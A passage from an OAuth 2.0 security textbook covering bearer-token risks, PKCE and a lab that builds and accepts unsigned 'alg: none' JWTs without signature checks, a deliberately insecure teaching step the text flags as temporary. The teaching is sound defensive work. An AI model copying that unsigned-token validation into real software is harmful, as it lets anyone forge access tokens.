12 � https://tools.ietf.org/html/draft-ietf-oauth-closing-redirectors
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An HTTP 400 (Bad Request) status code is returned instead of the 30x redirect. Other 
proposed mitigations include the following: 

■■ Perform a redirect to an intermediate URI under the control of the authoriza-
tion server to clear Referer information in the browser that may contain secu-
rity token information.

■■ Append ‘#’ to the error redirect URI (this prevents the browser from reattaching 
the fragment from a previous URI to the new location URI).

We’ll leave the coding part of these extra mitigations as an exercise to the reader.

9.6	 Summary 
There are many responsibilities when securing an authorization server, as it serves as 
the linchpin of the OAuth security ecosystem. 

■■ Burn the authorization code once it’s been used.
■■ Exact matching is the ONLY safe validation method for redirect_uri that the 

authorization server should adopt.
■■ Implementing the OAuth core specification verbatim might lead us to have the 

authorization server acting as an open redirector. If this is a properly monitored 
redirector, this is fine, but it might pose some threats if implemented naively.

■■ Be mindful of information that can leak through fragments or Referer headers 
during error reporting.

Now that we’ve taken a look at how to secure all three major parts of the OAuth ecosys-
tem, let’s take a look at securing the most essential element in any OAuth transaction: 
the OAuth token.
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10Common OAuth token 
vulnerabilities

This chapter covers
■  ■ What a bearer token is and how to safely generate it

■  ■ Managing the risk of using bearer tokens

■  ■ Safely protecting bearer tokens

■  ■ What an authorization code is and how to safely handle it

In the previous chapters, we’ve analyzed implementation vulnerabilities that 
affected all the actors of an OAuth deployment: clients, protected resources, and 
authorization servers. Most of the attacks we’ve seen had a single purpose: to steal 
an access token (or an authorization code used to get an access token). In this chap-
ter, we go deeper into what it takes to create good access tokens and authorization 
codes, and what we can do to minimize the risks while handling them. We’re going 
to look at what happens when the token is stolen, and we’ll see how this can cause 
relatively minor damage compared with a hijacked password. In summary, the moti-
vations behind OAuth are to offer a more safe and flexible model compared with 
the password-driven world.

10.1	 What is a bearer token?
One choice made by the OAuth working group while designing the OAuth 2.0 
specification was to drop the custom signature mechanism present in the original 
OAuth 1.0 specification in favor of relying on secure transport-layer mechanisms, 
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such as TLS, between parties. By removing the signing requirement from the base pro-
tocol, OAuth 2.0 can accommodate different kinds of tokens. The OAuth specification 
defines a bearer token as a security device with the property that any party in possession 
of the token (a “bearer”) can use the token, regardless of who that party is. In this way, 
a bearer token is much like a bus token or a ticket to an amusement park ride: these 
items grant access to services, and don’t care who uses them. As long as you’ve got a 
bus token, you can ride the bus.

From a technological standpoint, you can think about bearer tokens in much the 
same way as you do browser cookies. Both share some basic properties:

■■ They use plaintext strings.
■■ No secret or signature is involved.
■■ TLS is the basis of the security model.

But there are some differences:

■■ Browsers have a long history of dealing with cookies, whereas OAuth clients 
don’t.

■■ Browsers enforce the same origin policy, meaning that a cookie for one domain 
isn’t passed to another domain. This isn’t the case for OAuth clients (and may 
be a source of problems).

The original OAuth 1.0 protocol called for tokens that also had an associated secret, 
which was used to calculate a signature across the request. This signature was then veri-
fied by the protected resource alongside the token value itself, proving possession of 
both the token and its associated secret. Calculating this signature correctly and consis-
tently turned out to be a big burden for client and server developers, and the process 
was prone to many frustrating errors. Calculating the signature depended on many 
factors, such as encoding string values, ordering the request parameters, and canoniza-
tion of the URI. In combination with the fact that cryptography doesn’t forgive even 
the smallest mistake, things constantly broke because of mismatching signatures. 

For instance, a server-side application framework could inject or reorder parame-
ters, or a reverse proxy could hide the original request URI from the application doing 
the OAuth processing. One of the authors knows first hand of a developer whose 
OAuth 1.0 implementation used an uppercase hex encoding on the client side (as 
%3F, %2D, and %3A), and lowercase hex encoding on the server side (as %3f, %2d, 
and %3a). This particular implementation bug was infuriating to discover. Although a 
human can easily see these as equivalent, and any machine interpreting the hex value 
can easily transform it, cryptographic functions require an exact match between both 
sides in order for the signature to validate properly.

Furthermore, the requirement for TLS never went away. Without TLS for the get-
a-token step, the access token and its secret could be stolen. Without TLS for the 
use-a-token step, the results of the authorized call could be stolen (and sometimes 
replayed within a time window). As a result, OAuth 1.0 had the reputation of being 
a complicated, difficult-to-use protocol. The new OAuth 2.0 specification was formed 
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with bearer tokens at the center of a new simplified protocol. Message-level signatures 
weren’t entirely abandoned, but merely set aside. With time, some users of the OAuth 
2.0 specification asked for an extension of the protocol that included some sort of sig-
nature; we’ll meet some alternatives to bearer tokens in chapter 15.  

10.2	 Risks and considerations of using bearer tokens
Bearer tokens have characteristics similar to the session cookies used in browsers. 
Unfortunately, misunderstanding this parallelism leads to all sorts of security prob-
lems. When an attacker is able to intercept an access token, they are able to access 
all resources covered by the scope of that particular token. A client using a bearer 
token doesn’t need to prove possession of any additional security items, such as cryp-
tographic key material. Apart from token hijacking (which we’ve covered in depth in 
many parts of this book), the following threats associated with OAuth’s bearer tokens 
are common to many other token-based protocols:

Token forgery. An attacker may manufacture its own bogus token or modify an 
existing valid one, causing the resource server to grant inappropriate access to 
the client. For example, an attacker can craft a token to gain access to informa-
tion they weren’t able to view before. Alternatively, an attacker could modify the 
token and extend the validity of the token itself. 
Token replay. An attacker attempts to use an old token that was already used in 
the past and is supposed to be expired. The resource server shouldn’t return any 
valid data in this case; instead, it should return an error. In a concrete scenario, 
an attacker legitimately obtains an access token in the first place and they’ll try 
to reuse it long after the token has expired. 
Token redirect. An attacker uses a token generated for consumption by one 
resource server to gain access to a different resource server that mistakenly 
believes the token to be valid for it. In this case, an attacker legitimately obtains 
an access token for a specific resource server and they try to present this access 
token to a different one.
Token disclosure. A token might contain sensitive information about the system 
and the attacker is then something that they couldn’t know otherwise. Informa-
tion disclosure can be considered a minor problem compared with the previous 
one, but it’s still something we need to care about.

The foregoing are all severe threats that apply to tokens. How can we protect bearer 
tokens at rest and in transit? Security as an afterthought never works, and it’s impor-
tant the implementer makes the right choices in the early phase of any project.

10.3	 How to protect bearer tokens 
It is of extreme importance that access tokens sent as bearer tokens are not sent in the 
clear over an insecure channel. As per the core OAuth specification, transmission of 
access tokens must be protected using end-to-end confidentiality, such as SSL/TLS. 
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What is SSL/TLS then? Transport Layer Security (TLS), formerly known as Secure 
Sockets Layer (SSL), is a cryptographic protocol designed to provide communications 
security over a computer network. The protocol protects transmissions between two 
parties directly connected to each other, and the encryption process has the following 
aspects:

■■ The connection is private because symmetric cryptography is used to encrypt the 
data transmitted.

■■ The connection is reliable because each message transmitted includes a message 
integrity check using a message authentication code.

This is achieved typically by using certificates with public key cryptography; in particu-
lar, on the public internet, the application initiating the connection request verifies 
the certificate of the application receiving the connection request. In some limited 
circumstances, the certificate of the application initiating the connection request can 
also be verified, but such mutual authentication of the TLS connection is fairly limited 
and rare. It is important to remember that OAuth bearer tokens can’t be used securely 
without TLS being part of the connection in order to protect them in transit.

Where’s all the TLS?

You’ve probably noticed by now that in all of our lab exercises, we haven’t used TLS 
at all. Why would we do that? The deployment of a fully secure TLS infrastructure 
is a complex topic, far beyond the scope of this book, and getting TLS working isn’t 
required for understanding how the core mechanics of OAuth work. As with authenti-
cating the resource owner, which is also required for a functional and secure OAuth 
system, in our exercises we’re leaving this out for the sake of simplicity. In a produc-
tion system, or any deployment in which you care about the security of the compo-
nents, proper TLS usage is a hard-and-fast requirement. 

Remember, implementing secure software is something that needs to be done right 
every time, whereas the hackers only have to get things right once.

In the following sections, we’ll see what the different OAuth components can do to 
deal with threats associated with bearer tokens. 

10.3.1	At the client

We’ve seen in various parts of this book how access tokens can be stolen from client 
applications and revealed to the attacker. We need to remember that bearer access 
tokens are transparent for clients and there isn’t any cryptographic operation they 
need to perform. Hence, when an attacker obtains a bearer access token, they’re able 
to access all the resources associated with the token and its scope. 

One countermeasure that a client can apply is to limit the scope of the token to 
the minimum required for its tasks. For example, if all the client needs to achieve its 
purpose is the resource owner’s profile information, it would be enough to ask for the 
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profile scope (and not any other scope, for example, photo or location).1 This 
approach of “minimal privilege” limits what the token can be used for if it’s captured. 
To minimize impact on the user experience, a client can ask for all appropriate scopes 
during the authorization phase, then use the refresh token to get limited-scope access 
tokens to call the resource directly. 

It would also be beneficial, if feasible, to keep access tokens in transient memory to 
minimize attacks derived from repository injections. Doing so even if the attacker is 
able to get their hands on the client’s database won’t gain any information regarding 
access tokens. This isn’t always feasible for all client types, but secure storage of tokens, 
away from the prying eyes of other applications and even end users, is something that 
every OAuth client application should be doing.

10.3.2	At the authorization server

If an attacker is able to gain access to the authorization server database or launch 
a SQL injection against it, then the security of multiple resource owners might be 
compromised. This happens because the authorization server is the central point 
that coordinates and emits access tokens, issued to multiple clients and potentially 
consumed by multiple protected resources. In most implementations, including our 
own so far, the authorization server stores access tokens in a database. The protected 
resource validates them upon receipt from a client. This can be achieved in multiple 
ways but typically a query is launched against the data looking for the matching token. 
In chapter 11, we’ll see an alternative stateless approach based on structured tokens: 
JSON Web Tokens, or JWT. 

As one efficient precaution, the authorization server can store hashes of the access 
token (for example, using SHA-256) instead of the text of the token itself. In this 
case, even if the attacker was able to steal the entire database containing all the access 
tokens, there isn’t much it can do with the information leaked. Although hash salting 
is recommended for storage of user passwords, it should not be required to use addi-
tional salt because the access token value should already include a reasonable level 
of entropy in order to make offline dictionary attacks difficult. For instance, with a 
random-value token, the token value should be at least 128 bits long and constructed 
using a cryptographically strong random or pseudorandom number sequence. 

In addition, it would be good to keep access token lifetimes short in order to mini-
mize the risk associated with the leak of a single access token. This way, even if a token 
is compromised, its valid lifetime limits its usefulness to the attacker. If a client needs 
to have longer access to a resource, the authorization server can issue a refresh token 
to the client. Refresh tokens are passed between the client and authorization server, 
but never the protected resource, limiting the attack surface for this style of long-
lived token significantly. The definition of what constitutes a “short’ token lifetime 
depends entirely on the application being protected, but generally speaking, the token 
shouldn’t live much longer than it will be needed for average use of an API. 

1  https://bounty.github.com/researchers/stefansundin.html
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Ultimately, one of the best things that can be done at the authorization server is 
pervasive and secure auditing and logging. Whenever a token is issued, consumed, 
or revoked, the context in which that took place (the client, resource owner, scopes, 
resource, time, and so on) can be used to watch for suspicious behavior. As a corollary, 
all of these logs must be kept clear of the access token values to keep them from leaking.

10.3.3	At the protected resource

The protected resource often handles access tokens in a way similar to that of the 
authorization server, and should be treated with the same care for security. Since there 
are likely to be more protected resources than authorization servers on a network, 
perhaps even more direct care should be given. After all, if you’re using bearer tokens, 
there is nothing stopping a malicious protected resource from replaying an access 
token to other protected resources. Keep in mind that access tokens can inadvertently 
leak in system logs, especially those that capture all incoming HTTP traffic for analysis. 
Tokens should be scrubbed from such logs so that the token value isn’t used there.

A resource endpoint should be designed to limit token scope, respecting the col-
lection minimization principle and asking only for the minimum set of scopes needed 
to handle a particular job. Although it’s the clients that request the scopes associated 
with a token, designers of protected resources can protect the ecosystem by requiring 
tokens with only the most specific set of scopes possible for functionality. This part of 
the design process partitions the application’s resources in logical ways such that a 
client won’t need to ask for more functionality than necessary in order to do its job.

The resource server should also properly validate the token and avoid the use of 
special-purpose access tokens that have some sort of super power.2 Although it’s com-
mon for a protected resource to cache the current status of a token, especially when 
using a protocol such as token introspection as discussed in chapter 11, the protected 
resource must always weigh the benefits and drawbacks of such a cache. It’s also a good 
idea to use rate limiting and other techniques to protect the API, which help prevent 
attackers from fishing for valid tokens at the protected resource.

Keeping access tokens in transient memory is something that will help out in case 
of attacks against the resource server’s data store. This will make it more difficult for 
an attacker to discover valid access tokens by attacking a back-end system. Granted, 
in these cases, the attacker will likely have access to the data being protected by the 
resource, so as always the costs and benefits need to be balanced. 

10.4	 Authorization code
We’ve already encountered authorization codes in chapter 2, and we’ve seen that the 
biggest benefit of this grant type is the transmission of an access token directly to 
the client without passing it through the resource owner’s user-agent and potentially 
exposing it to others, including the resource owner. That said, we’ve also seen in chap-
ter 7 how some sophisticated attacks can lead to the authorization code being hijacked. 

2  http://www.7xter.com/2015/03/how-i-exposed-your-private-photos.html
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The authorization code isn’t useful on its own, especially if the client has its own cli-
ent secret with which it can authenticate itself. However, native applications, as we’ve 
seen in chapter 6, have specific problems with client secrets. Dynamic registration, 
discussed in chapter 12, is one approach to this problem, but it’s not always available 
or appropriate for a given client application. In order to mitigate such attacks against 
public clients, the OAuth working group released an additional specification that hin-
ders such attack vectors, Proof Key for Code Exchange (PKCE, pronounced “pixie”). 

10.4.1	Proof Key for Code Exchange (PKCE)

OAuth 2.0 public clients using the authorization code grant are susceptible to the 
authorization code interception attack. The PKCE specification3 has been introduced 
as a way to defend from this attack by establishing a secure binding between the autho-
rization request and the subsequent token request. The way PKCE works is simple:

■■ The client creates and records a secret named the code_verifier, shown in 
figure 10.1 as a flag with a magic wand on it.

■■ The client then computes code_challenge based on the code_verifier, 
shown in figure 10.1 as the same flag with a complex design overlaid on top of 
the secret. This can be either the code_verifier taken verbatim or the SHA-
256 hash of the code_verifier, though the cryptographic hash is strongly pre-
ferred as it prevents the verifier itself from being intercepted.

■■ The client sends the code_challenge and an optional code_challenge_
method (a keyword for plain or SHA-256 hash) along with the regular authoriza-
tion request parameters to the authorization server (see figure 10.1).  

3  RFC 7636 https://tools.ietf.org/html/rfc7636
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Figure 10.1  PKCE code_challenge
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■■ The authorization server responds as usual but records code_challenge and 
the code_challenge_method (if present). These are associated with the autho-
rization code that was issued by the authorization server.

■■ When the client receives the authorization code, it makes a token request as 
usual and includes the code_verifier secret that it previously generated (see 
figure 10.2). 

■■ The server recomputes the code_challenge, and checks to see whether it 
matches the original (see figure 10.3). An error response is returned if they 
aren’t equal, and the transaction continues as normal if they are.

Adding PKCE support to clients and authorization servers is extremely simple. One 
of the strengths of PKCE (apart from the undoubted security benefit) is that it can be 
added on a second stage, without having any interruption of the service, even if the 
client or the authorization server is in a production environment. We will prove this 
statement by adding PKCE support to our existing client and authorization server, 
implementing the S256 (that uses SHA256) code_challenge_method. The S256 
method is mandatory to implement on the server, whereas clients are permitted to use 
plain only if they cannot support S256 for some technical reason. 

Open up the ch-10-ex-1 folder and edit the client.js file. Locate the autho-
rization request section. There we need to generate the code_verifier, calculate 
the code_challenge, and send the challenge to the authorization server. The 
PKCE specification suggests a minimum length of 43 characters and a maximum 
length of 128 characters for the code_verifier. We’ve chosen to generate a con-
servative string with length 80. We’re using the S256 method to hash the code 
verifier.

Figure 10.2  PKCE code_verifier
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code_verifier = randomstring.generate(80);
var code_challenge = base64url.fromBase64(crypto.createHash('sha256').

update(code_verifier).digest('base64'));
	

var authorizeUrl = buildUrl(authServer.authorizationEndpoint, {

	 response_type: 'code',

	 scope: client.scope,

	 client_id: client.client_id,

	 redirect_uri: client.redirect_uris[0],

	 state: state,

	 code_challenge: code_challenge,
	 code_challenge_method: 'S256'
});

res.redirect(authorizeUrl);

Now we also need to modify the /callback endpoint in order to pass the code_ 
verifier along with the authorization code in our call to the token endpoint.

var form_data = qs.stringify({

	 grant_type: 'authorization_code',

	 code: code,

	 redirect_uri: client.redirect_uri,

	 code_verifier: code_verifier
});

Once we are done with the client, we can tackle the server. Because our authorization 
server stores the original request to the authorization endpoint along with the authori-
zation code, we don’t need to do anything special to save the code challenge for later. 
We’ll be able to pull it out of the code.request object when necessary. However, we do 
need to verify the request. In the /token endpoint, compute a new code_challenge 
based on the code_verifier that was sent to us and the code_challenge_method 

Figure 10.3  Comparing the code_verifier with the code_challenge
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Figure 10.4  PKCE detailed view
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that was sent as part of the original request. Our server is going to support both the 
plain and S256 methods. Notice that the S256 method uses the same transformation 
that the client used to generate the code_challenge in the first place. We can then 
make sure that the recomputed code_challenge matches the original, and return an 
error if this doesn’t happen.

if (code.request.client_id == clientId) {

	 if (code.request.code_challenge) {

					   

		  if (code.request.code_challenge_method == 'plain') {

			   var code_challenge = req.body.code_verifier;

		  } else if (code.request.code_challenge_method == 'S256') {

			   var code_challenge = base64url.fromBase64(crypto.

createHash('sha256').update(req.body.code_verifier).digest('base64'));

		  } else {

			   res.status(400).json({error: 'invalid_request'});

			   return;

		  }

					   

		  if (code.request.code_challenge != code_challenge) {
			   res.status(400).json({error: 'invalid_request'});

			   return;

		  }

	 }

If everything matches up, we return a token as normal. Notice that even though PKCE 
is intended for use with public clients, confidential clients can use this method as well. 
Figure 10.4 shows a full, detailed view of the PKCE flow.

10.5	 Summary 
Bearer tokens provide a powerful simplification of the OAuth process, allowing devel-
opers to more easily and correctly implement the protocol. But with that simplicity 
comes requirements to protect the tokens throughout the system. 

■■ Transmission of access tokens must be protected using secure transport layer 
mechanisms such as TLS.

■■ The client should ask for the minimum information needed (be conservative 
with the scope set).

■■ The authorization server should store hashes of the access token instead of clear 
text.

■■ The authorization server should keep access token lifetime short in order to 
minimize the risk associated with the leak of a single access token. 

■■ The resource server should keep access tokens in transient memory.
■■ PKCE may be used to increase the safety of authorization codes.

At this point, we’ve built an entire OAuth ecosystem from the ground up and dug into 
the vulnerabilities that can come from bad implementations and deployments. Now 
we’re going to take a bit of a step outside of OAuth itself and look at the wider ecosys-
tem of capabilities. 

Licensed to Hans Otten <hans.otten@autodata.net>



Part 4

Taking OAuth further

In this section, we step back from the core OAuth protocol and look at the 
world of extensions, profiles, and complementary components that are built 
around that solid core. These include token formats, token management, client 
registration, user authentication, vertical-specific profiling, and proof of posses-
sion tokens. If you want to learn a bit about OpenID Connect, UMA, or PoP, this 
is where we get into it. Each of these particular topics could probably be a book 
unto themselves, but we’re hoping to give you enough information to get you 
started.
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11OAuth tokens

This chapter covers
■  ■ What an OAuth token is

■  ■ Including information in structured JSON Web Tokens (JWT)

■  ■ Protecting token data with JOSE

■  ■ Looking up token information in real time with token 
introspection

■  ■ Managing a token lifecycle with token revocation

For all its redirects and flows and components, the OAuth protocol is ultimately 
about tokens. Think back to our cloud-printing example from chapter 1. In order 
for the photo-storage service to know that the printer had access to the photos, the 
printer service needed to give something to prove that authorization. We call the 
thing that the printer gives to the storage service an access token, and we’ve already 
been working with them extensively throughout the book. Now we’re going to take 
a more in-depth look at OAuth tokens and managing them in an OAuth ecosystem.

11.1	 What are OAuth tokens?
Tokens are at the core of all OAuth transactions. Clients fetch tokens from the 
authorization server to give to the protected resource. The authorization server cre-
ates tokens and hands them out to clients, managing resource owner delegations 
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and client permissions to attach to the tokens along the 
way. The protected resource receives tokens from the 
clients and validates them, matching the attached per-
missions and rights to the request made by the client. 

The token represents the results of the delegation act: 
a tuple of the resource owner, client, authorization server, 
protected resource, scopes, and everything else about the 
authorization decision. When a client needs to refresh 
its access tokens without bothering the resource owner 
again, it does this using another token: the refresh token. 
The OAuth token is the key mechanism that’s at the 
center of OAuth’s entire ecosystem, and without tokens 
there is arguably no OAuth. Even OAuth’s unofficial logo 
is based on the look of a physical bus token (figure 11.1).

Yet for all of this focus on tokens, OAuth makes absolutely no claim or mention 
about what the content of a token is. As we’ve discussed in chapters 2 and 3, the client 
in OAuth doesn’t need to know anything about the token itself. All the client needs 
to understand is how to get a token from the authorization server and how to use the 
token at the resource server. However, the authorization server and resource server do 
need to know about the token. The authorization server needs to know how to build 
a token to give to the client, and the resource server needs to know how to recognize 
and validate the token that’s handed to it by the client. 

Why would the OAuth core specifications leave out something so fundamental? By 
not specifying the tokens themselves, OAuth can be used in a wide variety of deploy-
ments with different characteristics, risk profiles, and requirements. OAuth tokens can 
expire, or be revocable, or be indefinite, or be some combination of these depending 
on circumstances. They can represent specific users, or all users in a system, or no 
users at all. They can have an internal structure, or be random nonsense, or be crypto-
graphically protected, or even be some combination of these options. This flexibility 
and modularity allows OAuth to be adapted in ways that are difficult for more compre-
hensive security protocols such as WS-*, SAML, and Kerberos that do specify the token 
format and require all parties in the system to understand it. 

Still, there are several common techniques for creating tokens and validating them, 
each of which has its benefits and drawbacks that make it applicable in different situ-
ations. In the exercises from chapters 3, 4, and 5 of this book, we created tokens that 
were random blobs of alphanumeric characters. They looked something like this on 
the wire:

s9nR4qv7qVadTUssVD5DqA7oRLJ2xonn

When the authorization server created the token, it stored the token’s value in a shared 
database on disk. When the protected resource received a token from the client, it 
looked up the token’s value in that same database to figure out what the token was 
good for. These tokens carry no information inside of them and instead act as simple 

Figure 11.1  The unofficial OAuth 
logo, modeled after a bus token
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handles for data lookup. This is a perfectly valid and not uncommon method of creat-
ing and managing access tokens, and it has the benefit of being able to keep the token 
itself small while still providing a large amount of entropy. 

It’s not always practical to share a database between the authorization server and pro-
tected resource, especially when a single authorization server is protecting several differ-
ent protected resources downstream. What then can we do instead? We’re going to look 
at two other common options in this chapter: structured tokens and token introspection.

11.2	 Structured tokens: JSON Web Token (   JWT)
Instead of requiring a lookup into a shared database, what if we could create a token 
that had all of the necessary information inside of it? This way, an authorization server 
can communicate to a protected resource indirectly through the token itself, without 
any use of a network API call. 

With this method, the authorization server packs in whatever information the pro-
tected resource will need to know, such as the expiration timestamp of the token and the 
user who authorized it. All of this gets sent to the client, but the client doesn’t notice it 
because the token remains opaque to the client in all OAuth 2.0 systems. Once the client 
has the token, it sends the token to the protected resource as it would a random blob. 
The protected resource, which does need to understand the token, parses the informa-
tion contained in the token and makes its authorization decisions based on that.

11.2.1	The structure of a JWT

To create this kind of token, we’ll need a way to structure and serialize the informa-
tion we want to carry. The JSON Web Token1 format, or JWT,2 provides a simple way to 
carry the kinds of information that we’d need to send with a token. At its core, a JWT 
is a JSON object that’s wrapped into a format for transmission across the wire. The 
simplest form of JWT, an unsigned token, looks something like this:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ikpva 

G4gRG9lIiwiYWRtaW4iOnRydWV9.

This probably looks like it’s just as much of a random blob as the tokens that we were 
using before, but there’s a lot more going on here. First, notice that there are two sec-
tions of characters separated by single periods. Each of these is a different part of the 
token, and if we split the token string on the dot character, we can process the sections 
separately. (A third section is implied after that last dot in our example, but we’ll cover 
that in section 11.3.)

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0

.

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9

.

1 � RFC 7519 https://tools.ietf.org/html/rfc7519
2 � Commonly pronounced “jot.”
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Each value between the dots isn’t random but is a Base64URL-encoded JSON object.3 
If we decode the Base64 and parse the JSON object inside the first section, we get a 
simple object.

{

  "typ": "JWT",

  "alg": "none"

}

Why Base64?

Why do we go through all this trouble of encoding things in Base64? After all, it’s not 
human readable and it requires extra processing steps to make sense of it. Wouldn’t 
it be better to use JSON directly? Part of the answer comes from the places where 
a JWT will typically find itself: in HTTP headers, query parameters, form parameters, 
and strings in various databases and programming languages. Each of these loca-
tions tends to have a limited set of characters that can be used without additional 
encoding. For example, in order to send a JSON object over an HTTP form parameter, 
the opening and closing brackets { and } would need to be encoded as %7B and %7D, 
respectively. Quotation marks, colons, and other common characters would also 
need to be encoded to their appropriate entity codes. Even something as common as 
the space character could be encoded as either %20 or +, depending on the location 
of the token. Additionally, in many cases, the % character used for encoding itself 
needs to be encoded, often leading to accidental double-encoding of the values.

By natively using the Base64URL encoding scheme, JWT can be placed safely in any of 
these common locations without any additional encoding. Furthermore, since the JSON 
objects are coming through as an encoded string, they’re less likely to be processed and 
reserialized by processing middleware, which we’ll see is important in the next section. 
This kind of transportation-resistant armor is attractive to deployments and developers, 
and it’s helped JWT find a foothold where other security token formats have faltered.

This header is always a JSON object and it’s used to describe information about the rest of the 
token. The typ header tells the application processing the rest of the token what to expect 
in the second section, the payload. In our example, we’re told that it’s a JWT. Although there 
are other data containers that can use this same structure, JWT is far and away the most com-
mon and the best fit for our purposes as an OAuth token. This also includes the alg header 
with the special value none to indicate that this is an unsigned token.

The second section is the payload of the token itself, and it’s serialized in the same 
way as the header: Base64URL-encoded JSON. Because this is a JWT, the payload can 
be any JSON object, and in our previous example it’s a simple set of user data.

{

  "sub": "1234567890",

  "name": "John Doe",

  "admin": true

}

3 � Specifically, it’s Base64 encoding with a URL-safe alphabet and no padding characters.
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11.2.2	 JWT claims

In addition to a general data structure, JWT also gives us a set of claims for use across 
different applications. Although a JWT can contain any valid JSON data, these claims 
provide support for common operations that involve these kinds of tokens. All of these 
fields are optional in a JWT, but specific services are allowed to define their own inclu-
sion requirements (table 11.1). 

We can also add any additional fields that we need for our specific application. In 
our previous example token, we’ve added the name and admin fields to the payload, 
giving us a display name for the user as well as a boolean field that indicates whether 
this user is an administrator. The values of these fields can be any valid JSON value, 
including strings, numbers, arrays, or even other objects. 

Claim Name Claim Description

iss The issuer of the token. This is an indicator of who created this token, and in many 
OAuth deployments this is the URL of the authorization server. This claim is a single 
string.

sub The subject of the token. This is an indicator of who the token is about, and in many 
OAuth deployments this is a unique identifier for the resource owner. In most cases, 
the subject needs to be unique only within the scope of the issuer. This claim is a 
single string.

aud The audience of the token. This is an indicator of who is supposed to accept the 
token, and in many OAuth deployments this includes the URI of the protected 
resource or protected resources that the token can be sent to. This claim can be 
either an array of strings or, if there’s only one value, a single string with no array 
wrapping it.

exp The expiration timestamp of the token. This is an indicator of when the token will 
expire, for deployments where the token will expire on its own. This claim is an 
integer of the number of seconds since the UNIX Epoch, midnight on January 1, 
1970, in the Greenwich Mean Time (GMT) time zone. 

nbf The not-before timestamp of the token. This is an indicator of when the token 
will begin to be valid, for deployments where the token could be issued before it 
becomes valid. This claim is an integer of the number of seconds since the UNIX 
Epoch, midnight on January 1, 1970, in the GMT time zone.

iat The issued-at timestamp of the token. This is an indicator of when the token was 
created, and is commonly the system timestamp of the issuer at the time of token 
creation. This claim is an integer of the number of seconds since the UNIX Epoch, 
midnight on January 1, 1970, in the GMT time zone.

jti The unique identifier of the token. This is a value unique to each token created by the 
issuer, and it’s often a cryptographically random value in order to prevent collisions. 
This value is also useful for preventing token guessing and replay attacks by adding a 
component of randomized entropy to the structured token that would not be available 
to an attacker. 

Table 11.1  Standard JSON web token claims
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The names of these fields can be any valid JSON string, which is true for any other 
JSON object, though the JWT specification4 does have some guidance for avoiding col-
lisions between JWT implementations. These guidelines are particularly useful if the 
JWT is intended to be consumed across security domains, where different claims can 
be defined and potentially have different semantics. 

11.2.3	 Implementing JWT in our servers

Let’s add JWT support to our authorization server. Open up ch-11-ex-1 and edit the 
authorizationServer.js file. In chapter 5 we created a server that issued unstruc-
tured, randomized tokens. We’ll be modifying the server to produce unsigned JWT-
formatted tokens here. Although we do recommend using a JWT library in practice, 
we’ll be producing our JWTs by hand so that you can get a feel for what goes into these 
tokens. You’ll get to play with a JWT library a little bit more in the next section.

First, locate the part of the code that generates the token itself. We’ll be doing all of 
our coding in this section, starting by commenting out (or deleting) the following line:

var access_token = randomstring.generate();

To create our JWT, we first need a header. As in our previous example token, we’re 
going to indicate that this token is a JWT and that it’s unsigned. Since every token com-
ing from our server will have the same characteristics, we can use a static object here.

var header = { 'typ': 'JWT', 'alg': 'none' };

Next, we’re going to create an object to house the payload for our JWT and assign its 
fields based on what we care about in our token. We’ll set the same issuer for every 
token to the URL of our authorization server, and we’ll use the user variable from our 
authorization page as the subject of the token, if it exists. We’ll also set the audience of 
the token to the URL of our protected resource. We’ll mark a timestamp for the time 
at which the token was issued and set the token to expire five minutes in the future. 
Note that JavaScript natively deals with timestamps in milliseconds, whereas the JWT 
specification requires everything to be in seconds. Thus we have to account for a factor 
of 1000 when converting to and from the native values. Finally, we’ll add in a random-
ized identifier for our token using the same random string generation function that we 
originally used to generate the whole token value. All together, creating our payload 
looks like the following:

var payload = {

	 iss: 'http://localhost:9001/',

	 sub: code.user ? code.user.sub : undefined,

	 aud: 'http://localhost:9002/',

	 iat: Math.floor(Date.now() / 1000),

	 exp: Math.floor(Date.now() / 1000) + (5 * 60),

	 jti: randomstring.generate(8)

};

4 � RFC 7519 https://tools.ietf.org/html/rfc7519

Licensed to Hans Otten <hans.otten@autodata.net>



	 Structured tokens: JSON Web Token (   JWT)	 187

This will give us an object that looks something like the following, although of course 
the timestamps and random string will be different:

{

	 "iss": "http://localhost:9001/",

	 "sub": "alice",

	 "aud": "http://localhost:/9002/",

	 "iat": 1440538696,

	 "exp": 1440538996,

	 "jti": "Sl66JdkQ"

}

We can then take our header and payload objects, serialize the JSON as a string, encode 
that string using Base64URL encoding, and concatenate them together using periods 
as separators. We don’t need to do anything special to the JSON objects as we serialize 
them, no special formatting or ordering of the fields, and any standard JSON serializa-
tion function will do.

var access_token = base64url.encode(JSON.stringify(header))

	 + '.'

	 + base64url.encode(JSON.stringify(payload))

	 + '.';

Now our access_token value looks something like this unsigned JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjkwMDEvI 

iwic3ViIjoiOVhFMy1KSTM0LTAwMTMyQSIsImF1ZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6OTAwMi 

8iLCJpYXQiOjE0NjcyNDk3NzQsImV4cCI6MTQ2NzI1MDA3NCwianRpIjoiMFgyd2lQanUifQ.

Notice that our token now has an expiration associated with it, but the client doesn’t 
have to do anything special with that change. The client can keep using the token 
until it stops working, at which point the client will go get another token as usual. The 
authorization server is allowed to provide an expiration hint to the client using the 
expires_in field of the token response, but the client doesn’t even have to do any-
thing with that either, and most clients don’t.

Now it’s time to have our protected resource check the incoming token for its infor-
mation instead of looking up the token value in a database. Open up protected
Resource.js and find the code that processes the incoming token. First we need to 
parse the token by performing the opposite actions that the authorization server used 
to create it: we split it on the dot characters to get the different sections. Then we’ll 
decode the second part, the payload, from Base64 URL and parse the result as a JSON 
object. 

var tokenParts = inToken.split('.');

var payload = JSON.parse(base64url.decode(tokenParts[1]));

This gives us a native data structure that we can check in our application. We’re going 
to make sure that the token is coming from the expected issuer, that its timestamps fit 
the right ranges, and that our resource server is the intended audience of the token. 
Although these kinds of checks are often strung together with boolean logic, we’ve 
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broken these out into individual if statements so that each check can be read more 
clearly and independently.

if (payload.iss == 'http://localhost:9001/') {

	 if ((Array.isArray(payload.aud) && __.contains(payload.aud, 'http:// 

  localhost:9002/')) || 

			   payload.aud == 'http://localhost:9002/') {

		  var now = Math.floor(Date.now() / 1000);

		  if (payload.iat <= now) {

			   if (payload.exp >= now) {

				    req.access_token = payload;
			   }

		  }

	 }

}

